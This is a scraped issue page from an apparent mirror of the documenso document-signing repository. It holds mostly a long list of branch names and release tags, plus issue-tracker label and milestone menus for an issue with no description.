feat/add-pdf-image-renderer
feat/add-embed-v2
fix/extract-emails
feat/table-toolbar-filters
copilot/sub-pr-2478
fix/recipients-send-500
feat/external-2fa-codes
feat/protect-signing-urls
fix/checkbox-checked-values
duncan/legacy-api-endpoints
chore/block-po-files-locally
fix/default-embed-v2-document-rejection-to-false
fix/fields-dialog-title-description
copilot/sub-pr-2323
copilot/sub-pr-2267
exp/autoplace-fields
chore/server-hostname-config
fix/template-add-signers
fix/add-field-drag-drop-colors
fix/envelope-updates
feat/allow-formdata
archive/1.13.2
copilot/add-billing-section-account-page
fix/field-coordinate-bounds
feat/update-user-via-admin-dashboard
feat/expiry-links
feat/team-dashboard
feat/change-radio-direction
feat/admin-create-user-with-org
archive/v1.12.11
feat/envelopes-polish
feat/add-attachments-reworked
fix/font-size-fields
feat/improve-resend-dialog
fix/download-certificate-audit-log-safari
fix/duplicate-document-by-id
feat/document-table-filters
fix/template-migration
exp/effect
fix/migrate-template-metadata
exp/keyboard-signature
feat/document-2fa-redo
feat/add-attachments
feat/billing-redirect-flow
fix/add-api-logging
fix/duplicate-document-template-review
feat/handle-redirectto-param
feat/document-processing-status-indicator
feat/customize-doc-audit-log-certificate
feat/document-2fa
feat/organisations-backup-pls
feat/audit-logs-on-completed-document
chore/webhook-trigger-multiselect
exp/bg
chore/single-signer-wording
fix/template-uploading
feat/bin-tab
fix/staging-test
feat/rr7
squish/rr7
archive/nextjs
power-signer
fix/field-placements
fix/team-member-invites
fix/checkbox-field-bugs
fix/leaderboard-query
fix/zapier-list-documents-endpoint
feat/dictate-signers
feat/allow-same-signer-email-multiple-times
wip/rr7-next
experiment/self-sign
fix/oidc-login-error
feat/document-qrcode
feat/mau
feat/copy-links-audit-logs
chore/december-dep-upgrades
wip/rr7
wip/rr7-auth-package
wip/rr7-better-auth-demo
experiment/what-if-user-ids-were-strings-instead-of-numbers
fix/refactor-api-routes
feat/add-owner-completed-email-setting
fix/embed-whitelabel-colors
feat/delete-archive
fun/sign-with-nose
expiry-links
chore/openpage-viral-metrics
fix/sitemap
feat/signing-reminder
feat/automated-fields-signature
feat/add-polish-translations
staging
fix/open-page
openpage-api-deploy
feat/pulumi
chore/angular-embed-docs
exp/next-15
chore/select-signer
feat/save-data-on-blur
feat/save-recipients-on-blur
feat/signature-color
feat/team-email-template
chore/documenso-url
chore/add-ctas
fix/docker-setup-and-documentation
fix/document-creation-timezone
feat/telemetry
feat/integration-animation
fix/render-deployment
feat/publicProfile
feat/redirect-templates
feat/passkey-dialog
fix/refactor-use-template
chore/resend-onUpdate
chore/subject-onBlur
fix/demo-trpc-duration
fix/self-signer-custom-email-message
fix/benchmark
feat/add-myself-as-signer-temp
feat/checkbox-type
feat/update-marketing-header
experiment/queue
feat/error-demo
feat/add-document-auth-options
feat/document-2fa-test
chore/status-widget
open-page-restructure
feat/document-passkey-test
chore/form-reset
fix/neon-db-migration-test
feat/public-profile
feat/launch-week-content
webhooks_plus_api
exp/custom-field-labels
feat/accept-text-signature
feat/document-version-history
fix/delete-recipient-owners
fix/whitespace-title
feat/refresh
exp/million
feat/doc-comments
ElTimuro-patch-1
feat/teams-slugify
pr/537
date-format-setting
exp/millionjs
feat/runtime-env
chore/next-14
feat/chat-with-documents
feat/plan-limits
fix/467-bugsafari-only-unable-to-copy-document-sharing-link
feat/admin-ui-manage-instance
feat/stripe-free-tier
fix/cascade-delete-share-links
feat/marketing-share-document
feat/single-player-mode-polish
feat/next-13-5-3
chore/github-templates
docs/render-deploy
chore/code-of-conduct
chore/team
feat/add-e2e-testing
docs/minor-readme-updatess
docs/dx
feat-early-adopters
feat/open-early-adopters
fix/432-signee-doc-version-doesnt-have-sticky-signing-area
fix/446-cancel-cta-does-nothing-when-a-signer-opens-the-document
fix/445-signer-name-not-persisting
feat/resend-transport
fix/incorrect-completed-stats
feat/update-email-templates
feat/mania
feat/copy-or-tweet
feat/add-design-system-page
feat/single-player-mode
feat/completed-share-link
feat/designsystem
feat/send-email
feat/custom-emails
blog/upcoming-blog-post
feat/single-player-mode-test
feat/reset-password
blog/selfhosting-blog-post
feat/redirect-signed-document
fix/og-description
feat/universal-upload
chore/readme
chore/blogposts
fix/building-documenso-description
feat/admin-ui-metrics
feat/avatar-fallback
feat/templates
feat/blog-post-next
fix/hide-user-selection
feat/disable-sign
feat/marketing-mobile-nav
chore/remove-console-log-warn
feat/add-email-field
fix/redirect-signin-to-dashboard
feat/blog-og-image
feat/redirect-on-send
feat/billing-page
feat/profile-password-form
fix/signature-color-dark-mode
feat/inbox
feat/promise-safety
readme
chore/reduce-refetch-time
feat/update-document-flow
feat/refactor-shared-components
feat/feature-flag
feat/document-authoring
feat/pie-chart-legend
feat/open-page
docs/add-gitpod-setup
docs/add-render-deploy
docs-coventional-commits
feat/table-actions
minor/updates-google-auth-refresh
feat/add-document-animation
feat/new-email-template
feat/password-reset
fix/send-error-double-send
fix/improve-stripe-webhook-endpoint
feat/support-custom-cert-paths
feat/DOC-170-add-name-field
fix/improve-general-styling
feat/DOC-210-sign-dialog-broken-on-second-opening
bugfix-#71/invalid-email-hint
chore/optimise-deps
test-pr
v2.9.1
v2.9.0
v2.8.1
v2.8.0
v2.7.1
v2.7.0
v2.6.1
v2.6.0
v2.5.1
v2.5.0
v2.4.0
v2.3.2
v2.3.1
v2.3.0
v2.2.8
v2.2.7
v2.2.6
v2.2.5
v2.2.4
v2.2.3
v2.2.2
v2.2.1
v2.2.0
v2.1.0
v2.0.14
v2.0.13
v2.0.12
v2.0.11
v2.0.10
v2.0.9
v2.0.8
v2.0.7
v2.0.6
v2.0.5
v2.0.4
v2.0.3
v2.0.2
v2.0.1
v2.0.0
v1.13.2
v1.13.1
v1.13.0
v1.12.10
v1.12.9
v1.12.8
v1.12.7
v1.12.6
v1.12.5
v1.12.4
v1.12.3
v1.12.2-rc.6
v1.12.2-rc.5
v1.12.2-rc.4
v1.12.2-rc.3
v1.12.2-rc.2
v1.12.2-rc.1
v1.12.2-rc.0
v1.12.1
v1.12.0
v1.12.0-rc.8
v1.12.0-rc.7
v1.12.0-rc.6
v1.12.0-rc.5
v1.12.0-rc.4
v1.12.0-rc.3
v1.12.0-rc.2
v1.12.0-rc.1
v1.12.0-rc.0
v1.11.1
v1.11.0
v1.10.3
v1.10.2
v1.10.1
v1.10.0
v1.10.0-rc.5
v1.10.0-rc.4
v1.10.0-rc.3
v1.10.0-rc.2
v1.10.0-rc.1
v1.10.0-rc.0
v1.9.1-rc.9
v1.9.1
v1.9.1-rc.8
v1.9.1-rc.7
v1.9.1-rc.6
v1.9.1-rc.5
v1.9.1-rc.4
v1.9.1-rc.3
v1.9.1-rc.2
v1.9.1-rc.1
v1.9.1-rc.0
v1.9.0
v1.9.0-rc.12
v1.9.0-rc.11
v1.9.0-rc.10
v1.9.0-rc.9
v1.9.0-rc.8
v1.9.0-rc.7
v1.9.0-rc.6
v1.9.0-rc.5
final-marketing-release
v1.9.0-rc.4
v1.9.0-rc.3
v1.9.0-rc.2
v1.9.0-rc.1
v1.9.0-rc.0
v1.8.1
v1.8.1-rc.9
v1.8.1-rc.8
v1.8.1-rc.7
v1.8.1-rc.6
v1.8.1-rc.5
v1.8.1-rc.4
v1.8.1-rc.3
v1.8.1-rc.2
v1.8.1-rc.1
v1.8.1-rc.0
v1.8.0-rc.4
v1.8.0
v1.8.0-rc.3
v1.8.0-rc.2
v1.8.0-rc.1
v1.8.0-rc.0
v1.7.2
v1.7.2-rc.4
v1.7.2-rc.3
v1.7.2-rc.2
v1.7.2-rc.1
v1.7.2-rc.0
v1.7.1-rc.3
v1.7.1
v1.7.1-rc.2
v1.7.1-rc.1
v1.7.1-rc.0
v1.7.0
v1.7.0-rc.5
v1.7.0-rc.4
v1.7.0-rc.3
v1.7.0-rc.2
v1.7.0-rc.1
v1.7.0-rc.0
v1.6.1
v1.6.1-rc.1
v1.6.1-rc.0
v1.6.0
v1.6.0-rc.3
v1.6.0-rc.2
v1.6.0-rc.1
v1.6.0-rc.0
v1.5.6
v1.5.6-rc.4
v1.5.6-rc.3
v1.5.6-rc.2
v1.5.6-rc.1
v1.5.6-rc.0
v1.5.5-rc.8
v1.5.5
v1.5.5-rc.7
v1.5.5-rc.6
v1.5.5-rc.5
v1.5.5-rc.4
v1.5.5-rc.3
v1.5.5-rc.2
v1.5.5-rc.1
v1.5.5-rc.0
v1.5.4-rc.5
v1.5.4
v1.5.4-rc.4
v1.5.4-rc.3
v1.5.4-rc.2
v1.5.4-rc.1
v1.5.4-rc.0
v1.5.3-rc.1
v1.5.3
v1.5.3-rc.0
v1.5.2-rc.8
v1.5.2
v1.5.2-rc.7
v1.5.2-rc.6
v1.5.2-rc.5
v1.5.2-rc.4
v1.5.2-rc.3
v1.5.2-rc.2
v1.5.2-rc.1
v1.5.2-rc.0
v1.5.1
v1.5.1-rc.0
v1.5.0-rc.6
v1.5.0
v1.5.0-rc.5
v1.5.0-rc.4
v1.5.0-rc.3
v1.5.0-rc.2
v1.5.0-rc.1
v1.5.0-rc.0
v1.4.0-rc.0
v1.4.0
v1.3.2-rc.0
v1.3.1-rc.2
v1.3.1
v1.3.1-rc.1
v1.3.1-rc.0
v1.3.0-rc.2
v1.3.0
v1.3.0-rc.1
v1.3.0-rc.0
v1.2.3
v1.2.2
v1.2.1
v1.2.0
v1.1
v1.0
v0.9
before-prettier
0.9-developer-preview
Labels
Clear labels   
Compliance

   
Stale

   
apps: marketing

   
apps: web

   
community

   
component: api

   
component: integrations

   
component: ui

   
duplicate

   
effort: low

   
effort: medium

   
good first issue

   
hacktoberfest

   
help wanted

   
needs triage

   
needs-replication

   
needs-testing

   
on-hold

   
osshack

   
priority: high

   
priority: low

   
priority: medium

   
pull-request

Mirrored from GitHub Pull Request

  
question

   
roadmap

   
status: assigned

   
status: blocked

   
status: in progress

   
status: triage

   
type: bug

   
type: bug

   
type: bug

   
type: documentation

   
type: enhancement

   
type: feature

   
wontfix

   
💎 Bounty

   
💰 Rewarded

   
💰 Rewarded
No labels
Compliance
Stale
apps: marketing
apps: web
community
component: api
component: integrations
component: ui
duplicate
effort: low
effort: medium
good first issue
hacktoberfest
help wanted
needs triage
needs-replication
needs-testing
on-hold
osshack
priority: high
priority: low
priority: medium
pull-request
question
roadmap
status: assigned
status: blocked
status: in progress
status: triage
type: bug
type: bug
type: bug
type: documentation
type: enhancement
type: feature
wontfix
💎 Bounty
💰 Rewarded
💰 Rewarded
Milestone
Clear milestone
No items
No milestone
Projects
Clear projects
No items
No project
Assignees
Clear assignees
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference
starred/documenso#395
No description provided.